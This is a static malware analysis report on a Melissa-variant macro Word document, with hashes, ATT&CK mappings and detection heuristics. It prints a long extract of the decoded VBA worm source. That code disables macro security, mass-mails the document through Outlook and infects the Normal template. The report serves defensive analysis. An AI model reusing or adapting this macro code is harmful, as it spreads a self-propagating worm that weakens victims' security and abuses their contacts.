Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 ded1dc36722743eb…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-03-22 12:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f712f58c32e9f93c9967c8302646a796 SHA-1: 434f0f7a51d5b971f20e38670bb81990a2b5eeb4 SHA-256: ded1dc36722743eb144d5a126006262c8d943cd52f8e69244021ef5b4ccbafe0
282 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass T1078.004 Cloud Accounts T1041 Exfiltration Over C2 Protocol T1566.001 Spearphishing Attachment

The sample is a macro-enabled Word document that triggers on 'Document_Open'. It attempts to disable security settings and then uses Outlook to send itself to contacts. The VBA code constructs registry paths like 'HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level' and uses Outlook's MAPI namespace to send emails, consistent with the Melissa worm's behavior.

Heuristics 7

  • ClamAV: Doc.Trojan.Melissa-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://SuperBest.da.ru/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17089 bytes
SHA-256: 7c32ca83e6037c77d2a88b6208ed69a84567e16f5e7585cdf407739420454068
Detection
ClamAV: Doc.Trojan.Melissa-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rules"
Attribute VB_Base = "1Normal.Rules"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
asdf = 1
Dim udo, dmn, buoas
asdf = 2
If System.PrivateProfileString("", "HKEY_C" & "URRENT_USER\Softw" & "are\Mic" & "rosoft\Off" & "ice\9.0\Wo" & "rd\Secu" & "rity", "Le" & "vel") = "" Then
asdf = 3
CommandBars("Too" & "ls").Controls("Mac" & "ro").Enabled = False
asdf = 4
Options.ConfirmConversions = (3 - 3): Options.VirusProtection = (4 - 4): Options.SaveNormalPrompt = (5 - 5)
asdf = 5
Else
asdf = 6
CommandBars("Mac" & "ro").Controls("Secu" & "rity...").Enabled = False
asdf = 7
System.PrivateProfileString("", "HKEY_CUR" & "RENT_USER\Soft" & "ware\Micro" & "soft\Off" & "ice\9.0\W" & "ord\Se" & "curity", "Le" & "vel") = 1&
asdf = 7
End If
asdf = 7
Set udo = CreateObject("Outl" & "ook.Applic" & "ation")
asdf = 7
Set dmn = udo.GetNameSpace("M" & "API")
asdf = 7
If System.PrivateProfileString("", "HKEY_CUR" & "RENT_USER\Soft" & "ware\Micro" & "soft\Of" & "fice\", "Rules?") <> "Rules" Then
asdf = 7
If udo = "Out" & "look" Then
asdf = 7
dmn.Logon "profile", "password"
asdf = 7
    For y = 1 To dmn.AddressLists.Count
asdf = 7
        Set abab = dmn.AddressLists(y)
asdf = 7
        x = 1
asdf = 7
        Set buoas = udo.CreateItem(0)
asdf = 7
        For oo = 1 To abab.AddressEntries.Count
asdf = 7
            bred = abab.AddressEntries(x)
asdf = 7
            buoas.Recipients.Add bred
asdf = 7
            x = x + 1
asdf = 7
            If x > 50 Then oo = abab.AddressEntries.Count
asdf = 7
         Next oo
asdf = 7
         buoas.Subject = "Îáåùàííîå îò " & Application.UserName
asdf = 7
         buoas.Body = "Ïðèâåò!  àòòà÷å âåùü, êîòîðóþ ÿ òåáå îáåùàë;) Çàõîäè òàêæå íà ìîé íîâûé ðåñóðñèê : http://SuperBest.da.ru/"
asdf = 7
         buoas.Attachments.Add ActiveDocument.FullName
asdf = 7
         buoas.Send
asdf = 7
         bred = ""
asdf = 7
    Next y
asdf = 7
dmn.Logoff
asdf = 7
End If
asdf = 7
System.PrivateProfileString("", "HKEY_CURR" & "ENT_USER\Sof" & "tware\Mi" & "crosoft\Of" & "fice\", "Rules?") = "Rules"
asdf = 7
End If
asdf = 7
Set AAAA = ActiveDocument.VBProject.VBComponents.Item(1)
asdf = 7
Set EEEE = NormalTemplate.VBProject.VBComponents.Item(1)
asdf = 7
CCCC = EEEE.CodeModule.CountOfLines
asdf = 7
DDDD = AAAA.CodeModule.CountOfLines
asdf = 7
BBB = 2
asdf = 7
If AAAA.Name <> "Rules" Then
asdf = 7
If DDDD > 0 Then _
asdf = 7
AAAA.CodeModule.DeleteLines 1, DDDD
asdf = 7
Set TI = AAAA
asdf = 7
AAAA.Name = "Rules"
asdf = 7
HHHH = True
asdf = 7
End If
asdf = 7
If EEEE.Name <> "Rules" Then
asdf = 7
If CCCC > 0 Then _
asdf = 7
EEEE.CodeModule.DeleteLines 1, CCCC
asdf = 7
Set TI = EEEE
asdf = 7
EEEE.Name = "Rules"
asdf = 7
GGGG = True
asdf = 7
End If
asdf = 7
If GGGG <> True And HHHH <> True Then GoTo FFFF
asdf = 7
If GGGG = True Then
asdf = 7
Do While AAAA.CodeModule.Lines(1, 1) = ""
asdf = 7
AAAA.CodeModule.DeleteLines 1
asdf = 7
Loop
asdf = 7
TI.CodeModule.AddFromString ("Priva" & "te S" & "ub D" & "ocument_Cl" & "ose()")
asdf = 7
Do While AAAA.CodeModule.Lines(BBB, 1) <> ""
asdf = 7
TI.CodeModule.InsertLines BBB, AAAA.CodeModule.Lines(BBB, 1)
asdf = 7
BBB = BBB + 1
asdf = 7
Loop
asdf = 7
End If
asdf = 7
If HHHH = True Then
asdf = 7
Do While EEEE.CodeModule.Lines(1, 1) = ""
asdf = 7
EEEE.CodeModule.DeleteLines 1
asdf = 7
Loop
asdf = 7
TI.CodeModule.AddFromString ("Priv" & "ate S" & "ub Do" & "cument_Op" & "en()")
asdf = 7
Do While EEEE.CodeModule.Lines(BBB, 1) <> ""
asdf = 7
TI.CodeModule.InsertLines BBB, EEEE.CodeModule.Lines(BBB, 1)
asdf = 7
BBB = BBB + 1
asdf = 7
Loop
asdf = 7
End If
asdf = 7
FFFF:
asdf = 7
If CCCC <> 0 And DDDD = 0 And (InStr(1, ActiveDocument.Name, "Docu" & "ment") = False) Then
asdf = 7
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
asdf = 7
ElseIf (InStr
... (truncated)

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